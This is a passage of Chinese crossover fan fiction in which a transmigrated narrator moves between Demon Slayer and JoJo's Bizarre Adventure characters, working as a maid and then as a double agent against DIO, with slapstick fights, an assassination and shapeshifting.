“诶?开派对吗?真不错。不过家里的人够用啦,我最近才招到一个非常好用的女仆呢!”妇人笑着转头,看向了角落里默默打扫卫生的女人。
角落里的女仆身材高挑,一直低着头打扫着卫生。直到妇人高兴地叫着她的名字,她才停下了清扫的动作,抬起了头,“夫人,您好,请问有什么吩咐吗?”
她脸上挂着标准的微笑,动作恭敬,虽然眉间无法抑制地带着一些疲态,眼里没有什么情感但不会很失礼。如果上过班的人看一眼,就能明白,这是被班味浸透的表情。
不过,妇人并没有什么吩咐,只是叫了她的名字,并说这里很干净,她差不多可以回去休息了。
女人脸上顷刻间绽放出一种神采,她拿着清洗用具轻声撤退,不带走一片云彩。
好耶!终于下班了!
我将清洗用具放在该放的地方,换下衣服,长长地叹出上班的怨念,就准备前往下一家了。
没错,就是下一家。
风花雪月是有着金手指的主角的特权。像我这样的穿越还没收到上一份打工工资的倒霉蛋看得更清楚的是生活的压力。
生活生活,生下来就得干活。
在这个大正时代作为黑户赚钱显然不太容易。在这里,新与旧的冲击异常明显。既有灯红酒绿充满□□的靡靡之音,也有科技发展的蓬勃生命。
我曾经误入过游郭,但那并不适合我打工。看到那群恶心的男人对别人动手动脚,我根本不能控制住自己的拳头。只是即使拳头挥舞到了那些人的脸上也是没用的,交易还会继续,一切无法改变。
但好在,我之前靠着找到了不小心走失的这位有钱夫人家的女儿,成功博得了一些好感,从而能在她们家当女仆赚点钱。
不过这点钱也不是很够啦,所以我还继续找了下一家进行打工。
话说回来,这家的那个看起来身体不大好的男主人今天还有若有若无一直看着我,是错觉吗?总不至于是他们秀恩爱时我站在那太碍眼了。
我思考了半天,也还是无法弄清楚下次究竟躲在哪里才能躲开这种秀恩爱的行为。
不过,算了,还是先去下一个工作地点吧,毕竟那里包饭呢!
*
“咚咚咚。”
在我叩了三下大门之后,这座宅邸的门终于缓缓打开,一个小小的黑发少年打开了门,面无表情地看着我。
“你今天来晚了。”他的表情很冷酷,狭长的眸子上下打量着我,随后一言不发地转身就走。
我习惯了他的态度,但是面对雇主该有的狗腿我从来没有忘记,我殷勤地跟了上去,脸上扯出笑容,“少爷,路上有点事耽搁了,下次绝对不会这样。”
虽然我现在没有手表,但是就我路过那家钟表店看到的时间来预估,我现在绝对没有迟到。
但是,人总是为金钱折腰。面对这位少爷的迟到申明,反驳是没用的。
他那种除了面对有钱的爹
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会展现孩子的天真,其余时间都是阴晴不定的性格,假意顺从是最好的选择。
只是,即使我这回依旧狗腿,他似乎还是十分不爽的样子,将我带到他的书房,指了指桌上的饭菜就自己走入了书房深处。
“给我快点吃完,5分钟没进来整理资料你就死定了。”他狭长的眸子中闪过了一丝血光,但我只当自己打工太累便忽略过去,直奔桌上的饭菜。
人的眼睛会发光太扯了,还是吃饭来的实在。而且这饭菜本来是为这位少爷准备的,色香味俱全。
虽然不知道他为什么总是不吃,但发觉他不吃身体状况也没恶化,也没有人来追究我的责任,我便心安理得继续吃下去了。谁知道是不是少爷不爱吃正餐在外面偷偷给自己加餐了。
毕竟能省一顿饭钱是一顿。
风卷残云解决完饭菜,我的肚子终于不再叫嚣,我擦了擦嘴,迅速直奔书房内部,找到了自己的工位—一处角落的地板,拿起了笔就开始记录药物的资料。
这幢宅邸是这位少爷的资产,据说是巨贾父亲疼爱自己的病弱小儿子,见他喜欢医药,便买了这宅邸并收集了许多医书供他在这里消磨时间。
而我,凭借着自己高中时曾学过化学,以在这个时代还算过得过的知识成功应聘上了这个少爷伴读的岗位。
但说是应聘,其实只是因为捡到了书成功读出药名然后被少爷直聘了;说是少爷伴读,但我也就只是晚上来收集一些关于能克服阳光紫外线什么的药物资料。
虽然一个少年人特地去找这些资料很奇怪,但也不关我的事,毕竟我只是来赚钱的。管他是要研究防晒霜还是什么的呢?我现在可得赚个一笔钱再说!
我继续在书海里鏖战,只觉得有点冷,自己打了个寒颤,没看见身后那位少爷意味深长的目光。
鬼舞辻无惨看着那女人一心埋头苦干的样子,伸出了手。
那只幼童的手臂像是绳索一样被拉出,手上指甲顷刻变长,像是尖锐的刀锋一般,缓缓从背后靠近了女人。
这家伙,能同时出现在他的两个人类身份前,究竟是巧合,还是她发现了什么?
67.第 67 章
黄发男人脱去了碍事的便利店的员工制服,从收银柜的下面拿出了自己的宽边牛仔帽,仔细调整好方向,他发出了满足的喟叹。
就是这样才对,他荷尔荷斯的替身可是[皇帝],穿着这样的衣服畏畏缩缩像什么样子。
看着倒了一地的人,荷尔荷斯直接从柜中掏出了一包昂贵的香烟,捻起一支就开始抽了起来。香烟的烟雾与空间中的雾气混合在一起,分不清彼此。
在这片雾气中,荷尔荷斯抬起了枪,枪口在倒在地上的人之间缓缓移动,“唔,先打谁比较好呢?”他一手捻着香烟,吐出了一口烟,另一只手却稳稳地将枪口移动到某个人的方位。
那是乔瑟夫·乔斯达。
“DIO大人的目标是乔斯达家的家伙,那么就先打死这个老东西就好了,这样子我的赏金就相当于得到一半了,下一枪再对准空条承太郎就行。”
他的手指已经按在扳机处,正准备使力时,厨房那里发出巨响。
荷尔荷斯的香烟掉在了地上,他都来不及去看自己沾着烟灰的衣服,手一撑桌面便越过柜台,直奔厨房的方向,“不会吧,恩雅那家伙不会疯了吧,她真的敢?”
至于这里的乔瑟夫·乔斯达他们,管他的啦无所谓,他们可是喝下了足以麻痹大象的药物,昏昏大睡个半天不成问题,可是厨房那边的事情就棘手多了。
想起那个脸色苍白的男人也在厨房,荷尔荷斯恨不得让自己的腿再跑快一点。
当然,请别误会,他并不是出于什么一见钟情或者见义勇为等烂俗的理由前去营救那个家伙。
一切都是DIO的命令。
荷尔荷斯,dio手下的杀手,人生哲学是“宁做第二,不当第一”。DIO给出的金钱实在太具诱惑,他本人也并不是什么正义的伙伴,自然自信满满地接下了追杀乔瑟夫等人的活计。
杀得死就能得到巨额财富,杀不死就逃跑好了,反正dio也不至于来追杀他。他本就是对这些抱着可有可无态度的男人。
直到那天,dio突然集结所有的替身使者,某些家伙在dio的嘴边成为了干尸。荷尔荷斯想逃跑,但是,就在他逃跑的那一刻,他的体内血液莫明失去了许多。
他看见dio擦着嘴,那双眼睛里带着几分兴趣,“荷尔荷斯是吗?我很中意你,你的能力不错。我有个任务交给你......”
荷尔贺斯从那一刻起就失去了所有抵抗dio的能力,他彻底明白了,这世上没有人能对抗dio了,而他只需要顺势而为为他效力就可以了。
所以,这个任务,他一定得完成。
死腿,快跑啊。
*波鲁那雷夫已经不明白究竟发生了什么。
什么叫dio大人,他们都是dio的手下吗?为什么恩雅要攻击那个叫“月彦”的家伙,内讧吗?什么又叫做杀死了她纯洁可爱的儿子,他波鲁那雷夫记忆里根本没有这号人啊?
不过,现在最要紧的是快点告诉承太郎他们这个老太婆是dio派来的替身使者,一定要叫他们小心。
波鲁那雷夫趁着恩雅面对着月彦,努力小步移动到厨房门口。
也许是由于胜券在握,恩雅此时癫狂的神色消失了一些。她看着皱起眉头的“月彦”,那张苍白的脸现下更是像死尸一般的脸色,不由得满意地笑了。
“哐当!”巨响从恩雅身后传来,她扭头看去,只见波鲁那雷夫已经踹飞了一个锅,锅与地板相触发出巨响的动静。
“波鲁那雷夫,你这只下贱的该死的狗屎,竟然还在这里偷偷摸摸着做这些事情。”恩雅转过身,她背后的雾状骷髅操作着木偶,木偶的手一折,波鲁那雷夫便以一种诡异的姿势举着手摔到在了地上,也发出一声巨响。
在正常情况下,这么响的声音绝对会引起警觉,但那也是正常情况。
恩雅操纵着波鲁那雷夫,使得他的脸紧紧贴着地面,撅着屁股像是毛毛虫一般蠕动到垃圾桶旁。这是刚刚恩雅削蔬果皮的垃圾桶,此时,恩雅将垃圾桶上的塑料袋掀开,带着土腥味的皮落了波鲁那雷夫一身。
但这不是最恐怖的。
恩雅拿出了垃圾桶中的另一个袋子。原来,上层的垃圾袋只是为了掩饰下层的东西的存在。
这下层的东西......
呕。
即使是我在远处,但是仅仅是看一眼我也感到万分恶心。
恩雅打开了塑料袋,那是一块爬满着蛆的腐肉,一打开,一股恶臭便充斥着房间。而在那发黑的肉上,无数的蛆堆叠成一层“奶油”,正争先恐后地蠕动着身体。
“来吧,波鲁那雷夫,你这下贱的狗屎,既然敢在我恩雅面前干着偷偷摸摸的事情,既然敢杀死我可爱纯洁的孩子,我挚爱的J.盖尔,你就该尝尝这滋味。”恩雅将袋子放在地上,面无表情地盯着一脸绝望的波鲁那雷夫。
“来吧,尝尝吧,这可是我特意放在粪坑里为你准备的饲料。”恩雅拨弄着自己手上的死皮,看着波鲁那雷夫死命皱眉试图将自己脸挪远却无果的挣扎,发出桀桀的笑。
“反正乔瑟夫·乔斯达和空条承太郎这两坨狗屎现在肯定也死了,dio大人的命令肯定已经完成了,我就来再干点自己的事吧。”
说着,恩雅将身体转向了我,对我勾了勾手指,“你这坨一直不去救我儿子的下三滥,就一面舔着地板过来吧,来和那坨波鲁那雷夫来争食吧,就像两只狗抢狗屎那样吧桀桀桀桀。”
#¥%……
我的内心闪过了无数脏话,我这时候异常痛恨自己灵敏的五感,那腐烂的臭味和蠕动的“奶油”给我造成了太大的冲击。
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这绝对是职场霸凌啊!
“恩雅!DIO大人绝对没让你对我做这种事吧。”我紧紧盯着恩雅,试图找到她脸上的破绽。
DIO啊,你现在的眼可是要去和蛆相拥了啊啊啊!
可是即使抬出了DIO的名号,恩雅脸上依旧毫无动摇。
“只要你死了,还会有谁知道吗?DIO大人不会在意死人的话的。”
虽然想活着折磨这家伙,但是先将她变成死人算了。恩雅并非全然不在乎DIO的命令,她压下自己心中的不甘,决定先让这个女人半死,再让她在半死不活的状态下去舔舐那块东西,这样她就能在绝望中死去。
想到这个替代方案,恩雅的眉头舒展了,点点头,伸出手,准备控制着雾气。
厨房里有刀具在正常不过了,就让这“月彦”直接一脑袋撞到刀上,像个摔坏的西瓜一样再说吧。
来吧,撞!
来吧,撞!
撞,倒是快撞!
那个脸色惨白的男人一动不动地站在了那里,就像不受遥控器控制的玩具。看着恩雅几乎咬牙切齿快要蹦起来的样子,那家伙才抬起了头。
“咦?你指手画脚地是在叫我吗?”我看着恩雅扭曲的脸,露出了一个礼貌的微笑,向着这位“前辈”走去。
从波鲁那雷夫身上,我就发现了,雾气是通过伤口来控制人的。
而,伤口,很遗憾,在我身上能存续的时间可能不超过1秒。
“不可能,你这家伙,怎么会不受控制呢?”恩雅怒吼,几乎要喷出了口水,她情不自禁后退了一步,险些踩上了放在身后的腐肉。
“唔,这个问题,不太方面回答呢。”我摸了摸自己的肩头,做出了新人该有的老实回答。毕竟在新公司说着上一任老板的事总不太好吧。
而且,说实话,如果之前波鲁那雷夫的剑插上的不是肩头而是长着肉芽的位置,现在站在恩雅面前的是谁还不好说呢?
恩雅看着“月彦”踏着鬼魅的步子出现在自己身边,倒吸了一口凉气。
这速度真不像是人类能做到的,难怪dio大人那么看重她。
只不过,她果然还是个白痴,竟然敢离她这么近,她的身后可是!
恩雅看着“月彦”离自己越来越近,快乐的心砰砰直跳,直到月彦在离她几乎只有半米的时候,恩雅身后出现了“银色战车”的身影!
“哈哈哈蠢货!”银色战车的西洋剑击向了那个“月彦”的眉心,然而,就在此时,她却以一种可怕的柔软度下腰躲过。
从她身后,随之而来的,是一枚子弹,正中恩雅眉心。
怎么会?荷尔荷斯!
恩雅试图看清什么,但是子弹入脑,视野中全是血色,她最后看到的是月彦的脸。
那张脸,一脸茫然。
68.托付后背
恩雅那双浑浊眼珠此时像是要瞪出来一般,瞳孔瞪大、眼神溃散,这双属于死人的眼睛就这么凸在带着斑的苍老面容上。
恩雅张着嘴倒在了地上。那颗子弹正中她的眉心,根本来不及救。
我不受控制地紧盯着恩雅此时已是死人的面孔,她最后一刻从胜券在握到惊诧死去的表情转变深深映入了我的脑海。
她到死都没有想到自己为什么会因为这种事而死。
即使是雷电劈到我身边,我可能都不会如此惊诧。
我没有与恩雅直接接触过,但是如果dio的手下真的能称作是一个组织了话,那么恩雅绝对是最接近二把手的存在。
我曾打听出似乎dio手中的资金来源是来自恩雅,他也似乎是凭借恩雅才获得了替身。
而现在,恩雅就这么简单地死在了一枚子弹下。那一枚我本来以为是用来袭击我的子弹。
我转头看向子弹的主人。
黄发的男人还在半开的门那里,吹了吹枪口上并不存在的烟,眉毛上扬,话里颇有几分邀功的意味,“看来我来得很刚好。”
刚好?不,这可不是来得刚好。
这家伙已经在那里蹲了有半分钟了。
他怕是看到恩雅对我彻底下杀手时才准备出手的。
这时我才真正理解了DIO写下的命令的前半段--“会有新的替身使者配合你”。
我还以为是恩雅,却没想到是这个黄头发的枪手。这么想来,怕是杀死恩雅也是在DIO的授意下的。
那杀死她的契机是什么呢?对我彻底下死手吗?
这算什么,善恶终有主,职场霸凌终会遭报应吗?
我忍不住吸了口凉气,越觉得DIO还是超乎我想象的没有底线。
他绝对不会将自己能穿梭在两个身体的底牌告诉恩雅,但是哪怕他进行一些暗示,以恩雅对他的忠心,她也绝对不会杀我。
而就现在的情况下看,DIO这家伙恐怕是放出烟雾弹,恶趣味地考验着恩雅的忠心。不,这不算考验忠心,只是但凡恩雅真做出了有害他的行为,哪怕是一丝风险,他都会提前将其扼杀。
我再一次,意识到了自己是在与怎样谨慎毒辣的家伙在斗争。
Dio这家伙,没有一丝人性,再加上他那神秘莫测的替身,我和乔斯达那一群人真的能战胜他吗?
但是不等我多想,那个黄发男人将枪口对准了我,撇着嘴,又扣动了扳机,“现在可还不是什么该放松的时候呢!别光让我荷尔荷斯出力啊,空条承太郎他们还在那边呢!”
子弹飞射而出,这回,我正对着子弹,清楚地看见了子弹是如何在我身前变换轨道,然后绕开了我,直击身后。
金属相撞的声音传来,是[银色战车]的西洋剑劈开了子弹。
我避开剑气,翻身跳到了厨房一角。
随着恩雅的死亡,此时雾气全然散去。恢复了自由的波鲁那雷夫从地上爬了起来,谨慎地看着这两个DIO的手下。
他们刚刚的谈话已经他已经全部听见了。
“月彦,你这个骗吃骗喝的家伙,竟然背叛了我们!”波鲁那雷夫胸口不住地起伏,他之前觉得月彦这家伙虽然有骗吃骗喝的嫌疑,但是脸苍白的总是看起来要死了还是把好吃的菜让给他,结果他就这么回报他们,作为dio的手下想要杀死他们!
[银色战车]举起了西洋剑,直直向我刺来。
波鲁那雷夫的表情很好懂,他脸上全然写满了“没想到你小子看起来一副要死的样子,竟然还能干出这种事。”
我能说什么呢,荷尔荷斯在这里,我只能咬着牙躲闪。
偏生荷尔荷斯还在那里火上浇油,“呵,波鲁那雷夫,怪不得月彦给的资料上写着头脑空空呢,这可不叫背叛,他本身就是效忠于DIO大人的!”
“哈,头脑空空,真是有胆啊你小子,竟敢这么说我。”显然荷尔荷斯的话起到了作用,波鲁那雷夫歪了歪嘴,[银色战车]的动作更加迅猛了,几乎是冲着把我扎成刺猬。
我在荷尔荷斯看不见的方向对着波鲁那雷夫挤眉弄眼,但他显然没能get到我的意思,在他心中这成了挑衅,他更加生气了。
荷尔荷斯嘴上开着嘲讽,手却很稳地在波鲁那雷夫身后举着枪,找到一个最好的时机。
嘶,荷尔荷斯这家伙,还真不能小瞧了。如果我真是效忠dio,那他与我合作还真是能发挥出超凡的效果。
但问题是我是二五仔,他简直就成为了放在我身边的人形监视器。波鲁那雷夫又不像其他几人能秒懂我的颜色。
这样不妙啊,我看着荷尔荷斯已经扣下扳机,咬了咬牙,一改先前连连后退的动作,一脚直接踹向了波鲁那雷夫,让他一个踉跄,直接避开了那颗子弹。
“喂!”荷尔荷斯嚷着,眼里全是不满。
我赔了个笑,表示都是巧合。
但好在我这飞踹已经让波鲁那雷夫意识到了身后还有枪手,他的眼神来回在我和荷尔荷斯间打转。
一个波鲁那雷夫,两个dio的手下,这是个问题。[银色战车]是1v1的替身,根本没有群体攻击技能,该打哪一个人是个问题。
这里发出那么大的动静,承太郎他们还没赶过来,怕是凶多吉少了。那么就只有他一个人对战这两个家伙。
叫作荷尔荷斯的枪手近战能力一般,但是如果开枪偷袭对他而言就太危险了。
而月彦那家伙隐藏的很深,即使在[银色战车]的超高速攻击下也闲的游刃有余。
现在这个情况真是太糟糕了。
波鲁那雷夫的眉头拧成了一团,他绷着脸,看向了我,“我不明白你是个怎样的人,但是我能确信那个叫荷尔荷斯的家伙绝对是个卑鄙小人。”
被骂的荷尔荷斯还拿着枪,啧了一声。
不过波鲁那雷夫站的距离很微妙,离他不算远,既在枪的射程内也在[银色战车]的射程内,他不好轻易动手。
波鲁那雷夫并不理会他,眼中仿佛有光芒跳跃,“我以我的尊严发誓,我之后会与你进行男人之间一对一的战斗。”波鲁那鲁夫顿了下,直接将方向调转,没有防守的后背直
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接展现在我面前,“所以,我会先选择攻击那个阴险的家伙。而在此期间,我想作为一个男人的尊严,你是不会偷袭我的。”
能出力抓住[倒吊男]的家伙,能被恩雅讨厌到要杀死的家伙,总不至于比荷尔荷斯还烂!
波鲁那鲁夫说完,就直接向荷尔荷斯冲了过去,惊得荷尔荷斯连忙堵住了厨房门,试图遮蔽波鲁那雷夫的视线。
双方一时缠斗。
被甩在身后的我一时语塞。
不要自说自话就跑啊,波鲁那雷夫,我这样很难发挥啊。
首先,我不是男人,别随便就许下什么专属男人间的约定啊,太狭隘了吧!
其次,这么信任人确实是要吃亏的。
我忍不住露出一丝苦笑,一跃迅速出现在波鲁那雷夫身边,接替了荷尔荷斯与波鲁那雷夫缠斗。
“别浪费时间了,荷尔荷斯,别忘记DIO大人的命令。快去收拾承太郎他们,这里交给我!”
荷尔荷斯看着挺身而出的“月彦”,一时间心情复杂。
他不擅长近战,结果这家伙竟然愿意背弃男人间的誓言前来救他,该说是他不守信还是说他义气呢?
不过荷尔荷斯毕竟不是什么正义的伙伴,他的良心有限,人生哲学也是“宁做第二,不做第一”。既然有队友愿意挺身而出,他也自然乐得轻松。
“放心吧,等我干掉那群家伙我一定来支援你。”他放下话,只留给一个wink作为感谢,直接急速跑路,再回头只能看见合上的便利店后门。
确信荷尔荷斯看不见这里,我才转过头松了口气。那边可有人去教训他了,轮不到我出场。
只是,这里。
波鲁那雷夫脸色铁青,头发竖起,大喘气着,眼里充满被背叛的怒火,“月彦,你这家伙!”
他话里甚至还带着失望。
好啦,声音很大,我听到了,不用这么大声叫我前老板名字,怪吓人的。
[银色战车]身上的甲胄弹射而出,它活动着身体,将剑刺向我,我差点没躲过。
这和之前的速度可不是一个量级的啊。
我张了张嘴,试图做点什么挣扎,但是波鲁那雷夫的表情又让我成功闭嘴。
“这一招可是连承太郎他们都没见过呢,我没想到会用在你身上......”波鲁那雷夫看向我,眼神有些复杂,但是[银色战车]的攻击依旧迅速。
最狠的剑捅向我啊,这本该是捅荷尔荷斯的吧。
我叹了口气,一边躲着[银色战车]的攻击,耳朵捕捉到了便利店内的巨响还有隐约的“绿宝石水花”、“欧拉”的声音。
然后我看见乔瑟夫·乔斯达在窗边比了个ok的手势。
好好好,终于不用再躲了。
波鲁那雷夫看见“月彦”嘴角微勾,不再四处躲藏反而直接向他冲来。然而下一秒,他就看不见他的声音,只觉脖颈后一阵剧痛,便失去了意识。
在昏迷前,他隐约听到了自己的声音--“命令......完成......混入.....出发.....”
69.混入
也许自己的运气今天真的挺背的。
躺在地上装死的荷尔荷斯只觉浑身都要散架了,整个人简直像被脾气暴躁的小型犬撕咬后的玩具--没用了。
自从dio给他下了秘密任务,他就不得不跟着恩雅连睡都没睡就赶路到这里,还没来得及吃饭就抢了这加油站作为据点。
恩雅是靠杀子之仇的怒火一路赶来。他荷尔荷斯能靠什么呢?dio画的大饼吗?
他本就被dio吸了一半的血而体虚,而且路上一旦困倦就要遭受恩雅的拐杖的暴击,这日子根本没法过。
好不容易,他终于暗算恩雅成功,还有着新队友“月彦”拖住了波鲁那雷夫,正打算一举拿下全灭乔斯达家族的功劳,结果有被[白金之星]的拳头加上[法皇之绿]的绿宝石水花狂扁,足以叫他这个帅气英俊魅力十足的神枪手不得不躺在地上装死。
种种的事情加起来,都不是倒霉能形容出的了。
如果要把这些倒霉的事归因,那么一定,是队友不行!
他,荷尔荷斯,是要与别人配合才能发挥出最大作用的人!
不管是易怒的恩雅,还是那个没什么用的“月彦”,完全都不行啊!
“嗖。”便利店的后门被轻轻拉开,有一个高大的身影走了近来,荷尔荷斯感觉被覆上了一层阴影,荷尔荷斯感觉心渐渐下沉。
完了。
“哦呀,看来这边的替身使者也被解决了嘛!”是波鲁那雷夫轻快的声音。他似乎观察了装晕的荷尔荷斯好一会,然后才高高兴兴地跑去和花京院勾肩搭背,再和承太郎吹嘘自己多么厉害一下子击倒了多名替身使者。
完了,彻底完了,这样看来那个“月彦”是被打倒了。
荷尔荷斯本就因为失血而有些虚弱,现在更是觉得要昏过去了。
那个“月彦”,被要求一旦恩雅对ta动手就直接击杀恩雅的“月彦”,究竟有什么用?
刚刚看起来还是挺能打的,怎么连个波鲁那雷夫都打不过。这样的家伙也值得dio保护,难道是什么私生子吗?岁数对不上吧。
虚弱状态使得荷尔荷斯脑子里一片糊涂,他已经进行一些可怕的胡言乱语了。
现在真是绝境中的绝境,任务失败连月彦都被干掉了,那么dio绝对不会放过他的,干脆直接投靠乔斯达他们吧?毕竟连能麻痹大象的药都放不倒他们.....
荷尔荷斯这么模模糊糊地想着,忽然觉得鼻腔传来一股尘土的气息,是有人走到了他的身边。
“喂喂,承太郎,你说他会不会实在装晕呢?这家伙很狡猾的吧。”一双手就像拍皮球一样,力道很大地拍着荷尔荷斯的脸。
荷尔荷斯只觉得自己脸皮啪啪作响,但是他不能动。
可恶的波鲁那雷夫,真该死!
“说什么呢?被[白金之星]这么一打肯定会晕的。”乔瑟夫的声音从远处传来,“但是好奇怪,承太郎,总感觉你之前的力气没那么大。”
“是的,毕竟我之前可还是身体虚弱,需要呆在医务室来着。但总感觉喝完这个水之后就力量增长了。”承太郎的声音硬邦邦的,但是本就脑子晕晕的荷尔荷斯根本没听出来。
“我也觉得,我的绿宝石水花之前威力可没有那么大,但是喝完那个水醒来后却觉得精神百倍。唉,我之前可只是一个爱写生的高中生而已呢。”花京院的声音显得有些疑惑,语气之自然,情感之真挚,让人无法怀疑其中的真实性。
不会吧,难道他下的不是安眠药,难道是什么能够短时间增强替身能力的神奇药水吗?可是他买的明明就是一般药品啊?
难道是买到假药了,不过这么好的假药能不能再买一些呢?
荷尔荷斯一时间悲喜交加,想到自己被暴揍和俘虏的结果都是因为假药造成的,而dio知道这个会如何在黑暗中咒骂他,荷尔荷斯不禁打了一个寒战。他担心自己会成为开罗公馆走廊上的一具干尸。
荷尔荷斯无限忧伤,荷尔荷斯游移不定,荷尔荷斯思考着如何投诚。
但如果荷尔荷斯此时睁开眼,他肯定就会发现眼前的“波鲁那雷夫”的脚已经开始蜷曲了,如果放任他们再说下去,他的眼前就会多出一个新鲜的两室一厅。
“咳咳。”
波鲁那雷夫用一声咳嗽打断了乔瑟夫的“是啊,我也是虚弱老头”、阿布德尔的“是啊,我的红色魔术师本来跟打火机又有什么差别呢”。
“你们要不过去看看那个老婆婆吧,她应该也是dio的派来的替身使者,你们看看能不能找到什么线索,这边这家伙就由我来看守吧。”
可恶,他要是投诚了话也不想直接和波鲁那雷夫说啊,谁知道这个头脑简单的家伙会不会在他睁眼的一瞬间就了结了他。
听见乔瑟夫往厨房那块走的脚步声,荷尔荷斯睁开眼睛,准备伸出手,试图进行一些挣扎。
然,未果。
“波鲁那雷夫”背对着他们,看起来只是轻轻触碰着他的手臂,却让他无法动弹。
不是吧,这家伙拦他干什么,他现在正准备当正义伙伴呢!
荷尔荷斯试图说点什么,却见“波鲁那雷夫”轻轻摇头,面容瞬间变幻成一张苍白面孔。
!
听着脚步声远处,“波鲁那雷夫”才站起身,反锁上了后门,回过身轻轻一笑。
“DIO大人有给你下一步指令吗?”那张苍白秀丽的面孔装在法国壮汉身上,总有种微妙的不协调感,简直就像是dio夺去了195的乔纳森·乔斯达的身体一样。
荷尔荷斯吞了口唾沫,撑着手爬了起来。
“当然,不愧是dio大人,竟然连这种情况都预料到了,我还以为现在肯定完了......”
荷尔荷斯的话到后面声音渐渐小了。
看着对面人不说话,仍是盯着他,刚逃过一劫的荷尔荷斯猜不透ta和dio的关系,速速拍完马屁却发现对方依旧挂着那点浅笑,简直像是被刻上去的模板。
荷尔荷斯只觉深不可测,深吸了一口气,“下一个替
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身使者会在海岸等着你们,他的替身能力我也不知道,只是听说十分厉害。希望你能跟他好好配合,直接干掉他们几个,又或者干掉一半也行。”
啧,这提供的信息也太少了。
荷尔荷斯给自己带正了帽子,一手插兜,眉飞色舞。 “月彦,你真是太厉害了。有你加上我荷尔荷斯的[皇帝],我们果然所向披靡哈哈哈哈。”
荷尔荷斯边说,脚步边往门口挪。他看了一眼桌上的越野车的汽车钥匙,又看了看“月彦”的脸色,短暂的思想斗争后,他还是带着些讨好的笑离开了。
再见了队友,现在我就要逃跑了。
至于还要怎么向乔瑟夫他们解释,怎么继续获得他们的信任,就全交给你了!
好队友!
我望着荷尔荷斯飞速离去的背影,站在门边,只等他开着另一辆车连影子都不见后才松了口气。
这家伙,口袋装着什么呢。这么宝贝?
应该也不是什么重要东西。
我收回视线,来到门后面,打开了后门。
空条承太郎拖着波鲁那雷夫站在门口,我看着依旧昏迷的波鲁那雷夫,摸了摸鼻子。
“似乎是下手有些重的缘故,大概还得一会才能醒。”阿布德尔站在身后,看了我一眼,进行补充。
花京院典明摸了摸脖颈,又看了看我,脸上露出复杂的神色。
“咳咳,后面那位替身使者确实已经死亡了,子弹正中眉心,没法救了。”
乔瑟夫·乔斯达适时开口,脸上覆上一层阴霾,他看着我,像是在评估着什么。
他叹口气,我本以为他打算说些我的危险性什么的,但出乎意料的,他只是拍了拍我的肩。
“dio为了你甚至直接杀死了他手下的替身使者,说明他对你势在必得。虽然不清楚你还有什么底牌,但以乔斯达家和dio战斗的经验来说,即使到最后一刻也不能放松,你可得一定要小心!”
乔瑟夫·乔斯达温和的目光转向了我,他的身后,是花京院、承太郎、阿布德尔关切的目光、我一时间倒有些懵。
这也太包容友好了吧?这就是当正义伙伴的感觉吗?
我内心有些情绪在涌动,一时间觉得这种温暖让我无所适从。我在心里用吐槽压制这种情感的波动,开始岔开了话题。
“我会小心的!对了,乔斯达先生,那之后你应该可以用念写的方式探查荷尔荷斯的位置吧?”
荷尔荷斯最终肯定会回到dio所在的地方向他汇报,这样就可以成功追踪到dio到踪迹。
我之前所到的dio公馆的位置,经spw探查,已成为一片空荡的地方了。而根据电话追踪dio也失败了。
所以,我和乔瑟夫·乔斯达商讨后,决定放跑dio所说的和我合作的替身使者,以此来作为线索来追踪dio。
而现在,在dio眼中,我应该已经成功以“波鲁那雷夫”的身份成功混入了这里。
不过,真的会有那么容易吗?
70.逼近
“砰!”乔瑟夫·乔斯达手向下劈,一声巨响,相机粉碎。
我依旧顶着“波鲁那雷夫”的样子,颇有些心疼地看着相机的尸体--这相机可不便宜。
乔瑟夫·乔斯达收回了手,有些紧张地看着相机吐出一张相纸--这里显现的是现在荷尔荷斯的位置,从他的行踪应该可以推测出dio的位置或者他与哪位替身使者接头。
相纸上的影像渐渐显现出影像,每个人都看了一眼,然后沉默了。
照片上的荷尔荷斯昏迷在车上,脸上还挂着笑,一旁是一包安眠药。就照片上剩下的安眠药数量来看,荷尔荷斯或许还会昏迷很久。
不是吧!荷尔荷斯这家伙怎么主动去喝安眠药?
这个疑问一晃过脑,但是众人一想起之前自己在荷尔荷斯面前的发言,顿时缄口不言。
喝完这个水后力量倍增/精神百倍......
不是吧,这样的话真的被相信了吗,这样轻易相信陌生人的话真的好吗?
“咳咳。”乔瑟夫·乔斯达率先打破沉默,“看来要从荷尔荷斯这边入手可能就比较难了,看起来至少一天他才能恢复行动能力。”
“不过也可以等他醒了再麻烦spw财团的人去追踪吧。”我点了点照片里荷尔荷斯身下的车,“这辆车看内饰了话应该是之前加油站里停的车,既然是开车了话应该会出现在一些必经之路上,以这个线索去追踪也可以,我记得车牌是--”
“车牌是xxxxxxxx。”空条承太郎从制服中掏出了一本本子,读出了自己记的内容。
不是吧,他原来是好学生的类型吗?还随身带笔记本,难道是要备战高考。
虽然不知道这家伙在想什么,但她一定是误会了。
她的眼神太过夸张,简直就像看见天上出现两个太阳一样。空条承太郎实在忍不住,正打算开口,就看见躺在后排的波鲁那雷夫睁开了双眼。
“你醒了?”
波鲁那雷夫醒来,波鲁那雷夫惊讶,波鲁那雷夫使出了[银色战车]!
狭窄的空间内,[银色战车]的西洋剑直指副驾的我。
“大家小心,那家伙是dio派来的替身使者!”
“等等,这样子车子会坏掉的啊!”阿布德尔伸手,却没按住波鲁那雷夫。
啧,还好现在没开车,不然就是要出交通事故了。
我叹了口气,看着[银色战车]锐利的战意和明显生气的波鲁那雷夫,摸了摸鼻子。
“其实我能解释的。”我举起手,试图让自己看起来无害些。但是我目前还是顶着波鲁那雷夫的壳子,比起安抚更像是导火线。
波鲁那雷夫简直红了眼,都打算不管不顾直接在车上动手了。
那就没办法,将自己变成了一条细蛇,猛地窜到后排,用蛇尾敲了一下波鲁那雷夫的脖颈,然后再变回自己的相貌。
这回我控制了力量,没有直接敲晕波鲁那雷夫。“嗨嗨,我可不是敌人啦。”
波鲁那雷夫一机灵,微微瞪大双眼,皮肤下一秒出现了鸡皮疙瘩。
他一点,一点都没意识到那人是什么时候到自己身边的。直到脆弱的脖颈处被蛇尾不轻不重地敲了一下后,他才如梦初醒,只觉喘不过气来。
这家伙或许真的不是敌人?如果真是敌人了话,他根本没机会存活。
波鲁那雷夫也后知后觉,不管是乔瑟夫先生,还是阿布德尔,还有花京院和承太郎,都对那家伙没有敌意。
看着波鲁那雷夫终于冷静下来,大家都舒出了一口气。
“居然还能变成蛇吗?”
“刚刚灵机一动想的,没想到真能成。如果没成了话可能会成为半人半蛇的拟态吧?”
“那你能变成海豚吗?”
“......拒绝动物表演!”
